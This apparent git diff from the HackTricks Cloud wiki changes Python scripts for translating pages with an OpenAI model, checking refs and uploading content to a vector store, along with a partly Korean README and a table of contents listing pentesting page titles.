files_with_differences += 1
unmatched_files.append(rel_with_src)
continue
# If no refs in either, skip
if not current_refs and not master_file_refs:
continue
# Compare individual refs
differences_found = False
for i, (current_ref, master_ref) in enumerate(zip(current_refs, master_file_refs)):
if current_ref != master_ref:
if not differences_found:
print(f"🔍 REF DIFFERENCES in {rel_with_src}:")
differences_found = True
print(f" Ref {i+1}:")
print(f" Master: {repr(master_ref)}")
print(f" Current: {repr(current_ref)}")
if differences_found:
files_with_differences += 1
unmatched_files.append(rel_with_src)
# Replace current refs with master refs
try:
new_content = replace_refs_in_text(content, master_file_refs)
if new_content != content:
md_path.write_text(new_content, encoding="utf-8")
files_modified += 1
print(f" ✅ Fixed refs in {rel_with_src}")
else:
print(f" ❌ Failed to replace refs in {rel_with_src}")
except Exception as e:
print(f" ❌ Error fixing refs in {rel_with_src}: {e}")
# Check for files that exist in master refs but not in current branch
unexisted_files = 0
for master_file_rel in master_refs.keys():
if master_file_rel not in current_files:
rel_with_src = f"{SRC_DIR.name}/{master_file_rel}"
print(f"🗑️ {rel_with_src} (existed in master but not in current one)")
unexisted_files += 1
unmatched_files.append(rel_with_src)
# Save unmatched files to specified path if requested
if args.files_unmatched_paths and unmatched_files:
try:
unmatched_paths_file = Path(args.files_unmatched_paths)
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
with open(unmatched_paths_file, 'w', encoding='utf-8') as f:
f.write(','.join(list(set(unmatched_files))))
print(f"📝 Saved {len(unmatched_files)} unmatched file paths to: {unmatched_paths_file}")
except Exception as e:
print(f"❌ Error saving unmatched paths to {args.files_unmatched_paths}: {e}")
elif args.files_unmatched_paths and not unmatched_files:
# Create empty file if no unmatched files found
try:
unmatched_paths_file = Path(args.files_unmatched_paths)
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
unmatched_paths_file.write_text('\n', encoding='utf-8')
print(f"<EFBFBD> No unmatched files found. Created empty file: {unmatched_paths_file}")
except Exception as e:
print(f"❌ Error creating empty unmatched paths file {args.files_unmatched_paths}: {e}")
print(f"\n SUMMARY:")
print(f" Files processed: {files_processed}")
print(f" Files with different refs: {files_with_differences}")
print(f" Files modified: {files_modified}")
print(f" Non existing files: {unexisted_files}")
if unmatched_files:
print(f" Unmatched files: {len(unmatched_files)}")
if __name__ == "__main__":
main()

View File

@@ -1,38 +0,0 @@
#!/usr/bin/env python3
import json
import re
from pathlib import Path
SRC_DIR = Path("./src")
REFS_JSON = Path("/tmp/refs.json")
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
def extract_refs(text: str):
"""Return a list of refs (trimmed) in appearance order."""
return [m.strip() for m in REF_RE.findall(text)]
def main():
if not SRC_DIR.is_dir():
raise SystemExit(f"Not a directory: {SRC_DIR}")
refs_per_path = {} # { "relative/path.md": [ref1, ref2, ...] }
for md_path in sorted(SRC_DIR.rglob("*.md")):
rel = md_path.relative_to(SRC_DIR).as_posix()
try:
content = md_path.read_text(encoding="utf-8")
except UnicodeDecodeError:
# Fallback if encoding is odd
content = md_path.read_text(errors="replace")
refs = extract_refs(content)
refs_per_path[rel] = refs # keep order from findall
REFS_JSON.write_text(json.dumps(refs_per_path, indent=2, ensure_ascii=False) + "\n", encoding="utf-8")
print(f"Wrote {REFS_JSON} with {len(refs_per_path)} files.")
if __name__ == "__main__":
main()

View File

@@ -12,25 +12,15 @@ from tqdm import tqdm #pip3 install tqdm
import traceback
MASTER_BRANCH = "master"
VERBOSE = True
MAX_TOKENS = 50000 #gpt-4-1106-preview
DISALLOWED_SPECIAL = "<|endoftext|>"
REPLACEMENT_TOKEN = "<END_OF_TEXT>"
def _sanitize(text: str) -> str:
"""
Replace the reserved tiktoken token with a harmless placeholder.
Called everywhere a string can flow into tiktoken.encode() or the
OpenAI client.
"""
return text.replace(DISALLOWED_SPECIAL, REPLACEMENT_TOKEN)
MAX_TOKENS = 10000 #gpt-4-1106-preview
def reportTokens(prompt, model):
encoding = tiktoken.encoding_for_model(model)
# print number of tokens in light gray, with first 50 characters of prompt in green. if truncated, show that it is truncated
#print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
prompt = _sanitize(prompt)
return len(encoding.encode(prompt))
@@ -46,37 +36,35 @@ def get_branch_files(branch):
files = result.stdout.decode().splitlines()
return set(files)
def get_unused_files(branch):
def delete_unique_files(branch):
"""Delete files that are unique to branch2."""
# Get the files in each branch
files_branch_master = get_branch_files(MASTER_BRANCH)
files_branch_lang = get_branch_files(branch)
files_branch1 = get_branch_files(MASTER_BRANCH)
files_branch2 = get_branch_files(branch)
# Find the files that are in branch2 but not in branch1
unique_files = files_branch_lang - files_branch_master
unique_files = files_branch2 - files_branch1
return unique_files
if unique_files:
# Switch to the second branch
subprocess.run(["git", "checkout", branch])
# Delete the unique files from the second branch
for file in unique_files:
subprocess.run(["git", "rm", file])
subprocess.run(["git", "checkout", MASTER_BRANCH])
print(f"[+] Deleted {len(unique_files)} files from branch: {branch}")
def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translate_files):
"""
Get the translated files from the temp folder and copy them to the repo directory in the expected branch.
Also remove all the files that are not in the master branch.
"""
branch_exists = subprocess.run(['git', 'show-ref', '--verify', '--quiet', 'refs/heads/' + branch])
# If branch doesn't exist, create it
if branch_exists.returncode != 0:
subprocess.run(['git', 'checkout', '-b', branch])
else:
subprocess.run(['git', 'checkout', branch])
# Get files to delete
files_to_delete = get_unused_files(branch)
# Delete files
for file in files_to_delete:
os.remove(file)
print(f"[+] Deleted {file}")
# Walk through source directory
for dirpath, dirnames, filenames in os.walk(temp_folder):
@@ -91,72 +79,32 @@ def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translat
for file_name in filenames:
src_file = os.path.join(dirpath, file_name)
shutil.copy2(src_file, dest_path)
if not "/images/" in src_file and not "/theme/" in src_file:
print(f"[+] Copied from {src_file} to {file_name}")
print(f"Translated files copied to branch: {branch}")
if translate_files:
commit_and_push(translate_files, branch)
subprocess.run(['git', 'add', "-A"])
subprocess.run(['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]])
subprocess.run(['git', 'checkout', MASTER_BRANCH])
print("Commit created and moved to master branch")
else:
print("No commiting anything, leaving in language branch")
def commit_and_push(translate_files, branch):
# Define the commands we want to run
commands = [
['git', 'add', '-A'],
['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]],
['git', 'push', '--set-upstream', 'origin', branch],
]
for cmd in commands:
result = subprocess.run(cmd, capture_output=True, text=True)
# Print stdout and stderr (if any)
if result.stdout:
print(f"STDOUT for {cmd}:\n{result.stdout}")
if "nothing to commit" in result.stdout.lower():
print("Nothing to commit, leaving")
exit(0)
if result.stderr:
print(f"STDERR for {cmd}:\n{result.stderr}")
# Check for errors
if result.returncode != 0:
raise RuntimeError(
f"Command `{cmd}` failed with exit code {result.returncode}"
)
print("Commit created and pushed")
def translate_text(language, text, file_path, model, cont=0, slpitted=False, client=None):
if not text:
return text
messages = [
{"role": "system", "content": "You are a professional hacker, translator and writer. You translate everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output and do not translate markdown or html tags or links."},
{"role": "system", "content": f"""The following is content from a hacking book about technical hacking techiques. The following given content is from the file {file_path}.
Translate the relevant English text to {language} and return the translation keeping exactly the same markdown and html syntax and following this guidance:
- Don't translate things like code, hacking technique names, common hacking words, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, links and markdown tags.
- Don't translate links or paths, e.g. if a link or ref is to "lamda-post-exploitation.md" don't translate that path to the language.
- Don't translate or modify tags, links, refs and paths like in:
- {{#tabs}}
- {{#tab name="Method1"}}
- {{#ref}}\ngeneric-methodologies-and-resources/pentesting-methodology.md\n{{#endref}}
- {{#include ./banners/hacktricks-training.md}}
- {{#ref}}macos-tcc-bypasses/{{#endref}}
- {{#ref}}0.-basic-llm-concepts.md{{#endref}}
- Don't translate any other tag, just return markdown and html content as is.
Also don't add any extra stuff in your response that is not part of the translation and markdown syntax."""},
{"role": "system", "content": "You are a professional hacker, translator and writer. You write everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output."},
{"role": "system", "content": f"The following is content from a hacking book about hacking techiques. The following content is from the file {file_path}. Translate the relevant English text to {language} and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax."},
{"role": "user", "content": text},
]
try:
response = client.chat.completions.create(
model=model,
messages=messages,
temperature=1 # 1 because gpt-5 doesn't support other
temperature=0
)
except Exception as e:
print("Python Exception: " + str(e))
@@ -201,9 +149,6 @@ Also don't add any extra stuff in your response that is not part of the translat
return translate_text(language, text, file_path, model, cont, False, client)
response_message = response.choices[0].message.content.strip()
response_message = response_message.replace("bypassy", "bypasses") # PL translations translates that from time to time
response_message = response_message.replace("Bypassy", "Bypasses")
response_message = response_message.replace("-privec.md", "-privesc.md") # PL translations translates that from time to time
# Sometimes chatgpt modified the number of "#" at the beginning of the text, so we need to fix that. This is specially important for the first line of the MD that mucst have only 1 "#"
cont2 = 0
@@ -225,11 +170,9 @@ def split_text(text, model):
chunks = []
chunk = ''
in_code_block = False
in_ref = False
for line in lines:
# Keep code blocks as one chunk
# If we are in a code block, just add the code to the chunk
if line.startswith('```'):
# If we are in a code block, finish it with the "```"
@@ -245,24 +188,8 @@ def split_text(text, model):
chunk += line + '\n'
continue
"""
Prevent refs using `` like:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
{{#endref}}
"""
if line.startswith('{{#ref}}'):
in_ref = True
if in_ref:
line = line.replace("`", "")
if line.startswith('{{#endref}}'):
in_ref = False
# If new section, see if we should be splitting the text
if (line.startswith('#') and reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS*0.8) or \
reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS:
@@ -275,30 +202,23 @@ def split_text(text, model):
return chunks
def copy_dirs(source_path, dest_path, folder_names):
for folder_name in folder_names:
source_folder = os.path.join(source_path, folder_name)
destination_folder = os.path.join(dest_path, folder_name)
if not os.path.exists(source_folder):
print(f"Error: {source_folder} does not exist.")
else:
# Copy the theme folder
shutil.copytree(source_folder, destination_folder)
print(f"Copied {folder_name} folder from {source_folder} to {destination_folder}")
def copy_gitbook_dir(source_path, dest_path):
folder_name = ".gitbook/"
source_folder = os.path.join(source_path, folder_name)
destination_folder = os.path.join(dest_path, folder_name)
if not os.path.exists(source_folder):
print(f"Error: {source_folder} does not exist.")
else:
# Copy the .gitbook folder
shutil.copytree(source_folder, destination_folder)
print(f"Copied .gitbook folder from {source_folder} to {destination_folder}")
def move_files_to_push(source_path, dest_path, relative_file_paths):
for file_path in relative_file_paths:
source_filepath = os.path.join(source_path, file_path)
dest_filepath = os.path.join(dest_path, file_path)
if not os.path.exists(source_filepath):
print(f"Error: {source_filepath} does not exist.")
else:
shutil.copy2(source_filepath, dest_filepath)
print(f"[+] Copied {file_path}")
def copy_files(source_path, dest_path):
file_names = ["src/SUMMARY.md", "hacktricks-preprocessor.py", "book.toml", ".gitignore", "src/robots.txt"]
move_files_to_push(source_path, dest_path, file_names)
def copy_summary(source_path, dest_path):
file_name = "src/SUMMARY.md"
source_filepath = os.path.join(source_path, file_name)
dest_filepath = os.path.join(dest_path, file_name)
shutil.copy2(source_filepath, dest_filepath)
print("[+] Copied SUMMARY.md")
def translate_file(language, file_path, file_dest_path, model, client):
global VERBOSE
@@ -314,7 +234,7 @@ def translate_file(language, file_path, file_dest_path, model, client):
translated_content = ''
start_time = time.time()
for chunk in content_chunks:
# Don't translate code blocks
# Don't trasnlate code blocks
if chunk.startswith('```'):
translated_content += chunk + '\n'
else:
@@ -328,10 +248,9 @@ def translate_file(language, file_path, file_dest_path, model, client):
f.write(translated_content)
#if VERBOSE:
print(f"Page {file_path} translated in {file_dest_path} in {elapsed_time:.2f} seconds")
print(f"Page {file_path} translated in {elapsed_time:.2f} seconds")
"""
def translate_directory(language, source_path, dest_path, model, num_threads, client):
all_markdown_files = []
for subdir, dirs, files in os.walk(source_path):
@@ -361,17 +280,17 @@ def translate_directory(language, source_path, dest_path, model, num_threads, cl
tb = traceback.format_exc()
print(f'Translation generated an exception: {exc}')
print("Traceback:", tb)
"""
if __name__ == "__main__":
print("- Version 2.0.0")
print("- Version 1.1.1")
# Set up argparse
parser = argparse.ArgumentParser(description='Translate gitbook and copy to a new branch.')
#parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
parser.add_argument('-l', '--language', required=True, help='Target language for translation.')
parser.add_argument('-b', '--branch', required=True, help='Branch name to copy translated files.')
parser.add_argument('-k', '--api-key', required=True, help='API key to use.')
parser.add_argument('-m', '--model', default="gpt-5-mini", help='The openai model to use. By default: gpt-5-mini')
parser.add_argument('-m', '--model', default="gpt-4o-mini", help='The openai model to use. By default: gpt-4o-mini')
parser.add_argument('-o', '--org-id', help='The org ID to use (if not set the default one will be used).')
parser.add_argument('-f', '--file-paths', help='If this is set, only the indicated files will be translated (" , " separated).')
parser.add_argument('-n', '--dont-cd', action='store_false', help="If this is true, the script won't change the current directory.")
@@ -426,7 +345,7 @@ if __name__ == "__main__":
translate_files = None # Need to initialize it here to avoid error
if args.file_paths:
# Translate only the indicated file
translate_files = list(set([f.strip() for f in args.file_paths.split(',') if f]))
translate_files = [f for f in args.file_paths.split(' , ') if f]
for file_path in translate_files:
#with tqdm(total=len(all_markdown_files), desc="Translating Files") as pbar:
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
@@ -440,21 +359,23 @@ if __name__ == "__main__":
#pbar.update()
except Exception as exc:
print(f'Translation generated an exception: {exc}')
#elif args.directory:
# Delete possibly removed files from the master branch
delete_unique_files(branch)
elif args.directory:
# Translate everything
#translate_directory(language, source_folder, dest_folder, model, num_threads, client)
translate_directory(language, source_folder, dest_folder, model, num_threads, client)
else:
print("You need to indicate either a directory or a list of files to translate.")
exit(0)
exit(1)
# Copy Summary
copy_files(source_folder, dest_folder)
# Copy summary
copy_summary(source_folder, dest_folder)
# Copy .gitbook folder
folder_names = ["theme/", "src/images/"]
copy_dirs(source_folder, dest_folder, folder_names)
copy_gitbook_dir(source_folder, dest_folder)
# Create the branch and copy the translated files
cp_translation_to_repo_dir_and_check_gh_branch(branch, dest_folder, translate_files)

View File

@@ -1,297 +0,0 @@
import os
import requests
import zipfile
import tempfile
import time
import glob
import re
from openai import OpenAI
# Initialize OpenAI client
client = OpenAI(api_key=os.getenv("MY_OPENAI_API_KEY"))
# Vector Store ID
VECTOR_STORE_ID = "vs_67e9f92e8cc88191911be54f81492fb8"
# --------------------------------------------------
# Step 1: Download and Extract Markdown Files
# --------------------------------------------------
def download_zip(url, save_path):
print(f"Downloading zip from: {url}")
response = requests.get(url)
response.raise_for_status() # Ensure the download succeeded
with open(save_path, "wb") as f:
f.write(response.content)
print(f"Downloaded zip from: {url}")
def extract_markdown_files(zip_path, extract_dir):
print(f"Extracting zip: {zip_path} to {extract_dir}")
with zipfile.ZipFile(zip_path, "r") as zip_ref:
zip_ref.extractall(extract_dir)
# Recursively find all .md files
md_files = glob.glob(os.path.join(extract_dir, "**", "*.md"), recursive=True)
return md_files
# Repository URLs
hacktricks_url = "https://github.com/HackTricks-wiki/hacktricks/archive/refs/heads/master.zip"
hacktricks_cloud_url = "https://github.com/HackTricks-wiki/hacktricks-cloud/archive/refs/heads/main.zip"
# Temporary directory for downloads and extraction
temp_dir = tempfile.mkdtemp()
try:
# Download zip archives
print("Downloading Hacktricks repositories...")
hacktricks_zip = os.path.join(temp_dir, "hacktricks.zip")
hacktricks_cloud_zip = os.path.join(temp_dir, "hacktricks_cloud.zip")
download_zip(hacktricks_url, hacktricks_zip)
download_zip(hacktricks_cloud_url, hacktricks_cloud_zip)
# Extract the markdown files
hacktricks_extract_dir = os.path.join(temp_dir, "hacktricks")
hacktricks_cloud_extract_dir = os.path.join(temp_dir, "hacktricks_cloud")
md_files_hacktricks = extract_markdown_files(hacktricks_zip, hacktricks_extract_dir)
md_files_hacktricks_cloud = extract_markdown_files(hacktricks_cloud_zip, hacktricks_cloud_extract_dir)
all_md_files = md_files_hacktricks + md_files_hacktricks_cloud
print(f"Found {len(all_md_files)} markdown files.")
finally:
# Optional cleanup of temporary files after processing
# shutil.rmtree(temp_dir)
pass
# --------------------------------------------------
# Step 2: Remove All Existing Files in the Vector Store
# --------------------------------------------------
# List current files in the vector store and delete each one.
existing_files = list(client.vector_stores.files.list(VECTOR_STORE_ID))
print(f"Found {len(existing_files)} files in the vector store. Removing them...")
for file_obj in existing_files:
# Delete the underlying file object; this removes it from the vector store.
try:
client.files.delete(file_id=file_obj.id)
print(f"Deleted file: {file_obj.id}")
time.sleep(1) # Give it a moment to ensure the deletion is processed
except Exception as e:
# Handle potential errors during deletion
print(f"Error deleting file {file_obj.id}: {e}")
# ----------------------------------------------------
# Step 3: Clean markdown Files
# ----------------------------------------------------
# Clean markdown files and marge them so it's easier to
# uplaod to the vector store.
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
def clean_file_content(file_path):
"""Clean the content of a single file and return the cleaned lines."""
with open(file_path, "r", encoding="utf-8") as f:
content = f.readlines()
cleaned_lines = []
inside_hint = False
for i,line in enumerate(content):
# Skip lines containing excluded keywords
if any(keyword in line for keyword in exclude_keywords):
continue
# Detect and skip {% hint %} ... {% endhint %} blocks
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
inside_hint = True
if "{% endhint %}" in line:
inside_hint = False
continue
if inside_hint:
continue
if line.startswith("#") and "reference" in line.lower(): #If references part reached, just stop reading the file
break
# Skip lines with <figure> ... </figure>
if re.match(r"<figure>.*?</figure>", line):
continue
# Add the line if it passed all checks
cleaned_lines.append(line.rstrip())
# Remove excess consecutive empty lines
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
return cleaned_lines
def remove_consecutive_empty_lines(lines):
"""Allow no more than one consecutive empty line."""
cleaned_lines = []
previous_line_empty = False
for line in lines:
if line.strip() == "":
if not previous_line_empty:
cleaned_lines.append("")
previous_line_empty = True
else:
cleaned_lines.append(line)
previous_line_empty = False
return cleaned_lines
def gather_files_in_order(start_folder):
"""Gather all .md files in a depth-first order."""
files = []
for root, _, filenames in os.walk(start_folder):
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md") and f.lower() not in ["summary.md", "references.md"]])
files.extend(md_files)
return files
# Gather files in depth-first order
all_files = gather_files_in_order(start_folder)
# Process files and merge into a single output
with open(output_file, "w", encoding="utf-8") as output:
for file_path in all_files:
# Clean the content of the file
cleaned_content = clean_file_content(file_path)
# Skip saving if the cleaned file has fewer than 10 non-empty lines
if len([line for line in cleaned_content if line.strip()]) < 10:
continue
# Get the name of the file for the header
file_name = os.path.basename(file_path)
# Write header, cleaned content, and 2 extra new lines
output.write(f"### Start file: {file_name} ###\n\n")
output.write("\n".join(cleaned_content))
output.write("\n\n")
# Specify the starting folder and output file
start_folder = os.getcwd()
# Keywords to exclude from lines
exclude_keywords = [
"hacktricks-training.md",
"![](<", # Skip lines with images
"/images/" # Skip lines with images
"STM Cyber", # STM Cyber ads
"offer several valuable cybersecurity services", # STM Cyber ads
"and hack the unhackable", # STM Cyber ads
"blog.stmcyber.com", # STM Cyber ads
"RootedCON", # RootedCON ads
"rootedcon.com", # RootedCON ads
"the mission of promoting technical knowledge", # RootedCON ads
"Intigriti", # Intigriti ads
"intigriti.com", # Intigriti ads
"Trickest", # Trickest ads
"trickest.com", # Trickest ads,
"Get Access Today:",
"HACKENPROOF", # Hackenproof ads
"hackenproof.com", # Hackenproof ads
"HackenProof", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Hacking Insights:", # Hackenproof ads
"Engage with content that delves", # Hackenproof ads
"Real-Time Hack News:", # Hackenproof ads
"Keep up-to-date with fast-paced", # Hackenproof ads
"Latest Announcements:", # Hackenproof ads
"Stay informed with the newest bug", # Hackenproof ads
"start collaborating with top hackers today!", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Pentest-Tools", # Pentest-Tools.com ads
"pentest-tools.com", # Pentest-Tools.com ads
"perspective on your web apps, network, and", # Pentest-Tools.com ads
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
"SerpApi", # SerpApi ads
"serpapi.com", # SerpApi ads
"offers fast and easy real-time", # SerpApi ads
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
"8kSec", # 8kSec ads
"academy.8ksec.io", # 8kSec ads
"Learn the technologies and skills required", # 8kSec ads
"WebSec", # WebSec ads
"websec.nl", # WebSec ads
"which means they do it all; Pentesting", # WebSec ads
]
# Clean and merge .md files
ht_file = os.path.join(tempfile.gettempdir(), "hacktricks.md")
htc_file = os.path.join(tempfile.gettempdir(), "hacktricks-cloud.md")
clean_and_merge_md_files(hacktricks_extract_dir, exclude_keywords, ht_file)
print(f"Merged content has been saved to: {ht_file}")
clean_and_merge_md_files(hacktricks_cloud_extract_dir, exclude_keywords, htc_file)
print(f"Merged content has been saved to: {htc_file}")
# ----------------------------------------------------
# Step 4: Upload All Markdown Files to the Vector Store
# ----------------------------------------------------
# Upload two files to the vector store.
# Uploading .md hacktricks files individually can be slow,
# so thats why we merged it before into just 2 files.
file_streams = []
ht_stream = open(ht_file, "rb")
file_streams.append(ht_stream)
htc_stream = open(htc_file, "rb")
file_streams.append(htc_stream)
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
time.sleep(60) # Sleep for a minute to ensure the upload is processed
ht_stream.close()
htc_stream.close()
""""This was to upload each .md independently, wich turned out to be a nightmare
# Ensure we don't exceed the maximum number of file streams
for file_path in all_md_files:
# Check if we have reached the maximum number of streams
if len(file_streams) >= 300:
print("Reached maximum number of file streams (300). Uploading current batch...")
# Upload the current batch before adding more files
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
print("Upload status:", file_batch.status)
print("File counts:", file_batch.file_counts)
# Clear the list for the next batch
file_streams = []
time.sleep(120) # Sleep for 2 minutes to avoid hitting API limits
try:
stream = open(file_path, "rb")
file_streams.append(stream)
except Exception as e:
print(f"Error opening {file_path}: {e}")
if file_streams:
# Upload files and poll for completion
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
print("Upload status:", file_batch.status)
print("File counts:", file_batch.file_counts)
else:
print("No markdown files to upload.")"
# Close all file streams
for stream in file_streams:
stream.close()
"""

File diff suppressed because one or more lines are too long

View File

@@ -4,10 +4,9 @@
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks logos & motion designed by_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### Run HackTricks Cloud Locally
_Hacktricks 로고 및 모션 디자인:_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### 로컬에서 HackTricks Cloud 실행
```bash
# Download latest version of hacktricks cloud
git clone https://github.com/HackTricks-wiki/hacktricks-cloud
@@ -34,30 +33,28 @@ export LANG="master" # Leave master for English
# Run the docker container indicating the path to the hacktricks-cloud folder
docker run -d --rm --platform linux/amd64 -p 3377:3000 --name hacktricks_cloud -v $(pwd)/hacktricks-cloud:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
로컬에 복제된 HackTricks Cloud는 **[http://localhost:3377](http://localhost:3377)**에서 1분 후 이용할 수 있습니다.
Your local copy of HackTricks Cloud will be **available at [http://localhost:3377](http://localhost:3377)** after a minute.
### **Pentesting CI/CD 방법론**
### **Pentesting CI/CD Methodology**
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** 다음 페이지에서 **소개:**를 읽으세요:
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Methodology
### Pentesting Cloud 방법론
**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** 다음 페이지에서 **소개:**를 읽으세요:
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### License & Disclaimer
### 라이선스 & 고지사항
**Check them in:**
**다음에서 확인하세요:**
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
### Github Stats
### Github 통계
![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
{{#include ./banners/hacktricks-training.md}}

View File

@@ -9,6 +9,7 @@
# 🏭 Pentesting CI/CD
- [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
- [Docker Build Context Abuse in Cloud Envs](pentesting-ci-cd/docker-build-context-abuse.md)
- [Gitblit Security](pentesting-ci-cd/gitblit-security/README.md)
- [Ssh Auth Bypass](pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md)
- [Github Security](pentesting-ci-cd/github-security/README.md)
@@ -41,6 +42,7 @@
- [Atlantis Security](pentesting-ci-cd/atlantis-security.md)
- [Cloudflare Security](pentesting-ci-cd/cloudflare-security/README.md)
- [Cloudflare Domains](pentesting-ci-cd/cloudflare-security/cloudflare-domains.md)
- [Cloudflare Workers Pass Through Proxy Ip Rotation](pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md)
- [Cloudflare Zero Trust Network](pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md)
- [Okta Security](pentesting-ci-cd/okta-security/README.md)
- [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
@@ -55,6 +57,7 @@
# ⛈️ Pentesting Cloud
- [Pentesting Cloud Methodology](pentesting-cloud/pentesting-cloud-methodology.md)
- [Luks2 Header Malleability Null Cipher Abuse](pentesting-cloud/confidential-computing/luks2-header-malleability-null-cipher-abuse.md)
- [Kubernetes Pentesting](pentesting-cloud/kubernetes-security/README.md)
- [Kubernetes Basics](pentesting-cloud/kubernetes-security/kubernetes-basics.md)
- [Pentesting Kubernetes Services](pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md)
@@ -84,6 +87,7 @@
- [GCP - Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/README.md)
- [GCP - App Engine Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md)
- [GCP - Artifact Registry Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md)
- [GCP - Bigtable Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md)
- [GCP - Cloud Build Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md)
- [GCP - Cloud Functions Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md)
- [GCP - Cloud Run Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md)
@@ -98,7 +102,6 @@
- [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
- [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
- [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
- [Gcp Vertex Ai Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md)
- [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
- [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
- [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
@@ -107,6 +110,7 @@
- [GCP - Artifact Registry Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md)
- [GCP - Batch Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md)
- [GCP - BigQuery Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md)
- [GCP - Bigtable Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md)
- [GCP - ClientAuthConfig Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md)
- [GCP - Cloudbuild Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
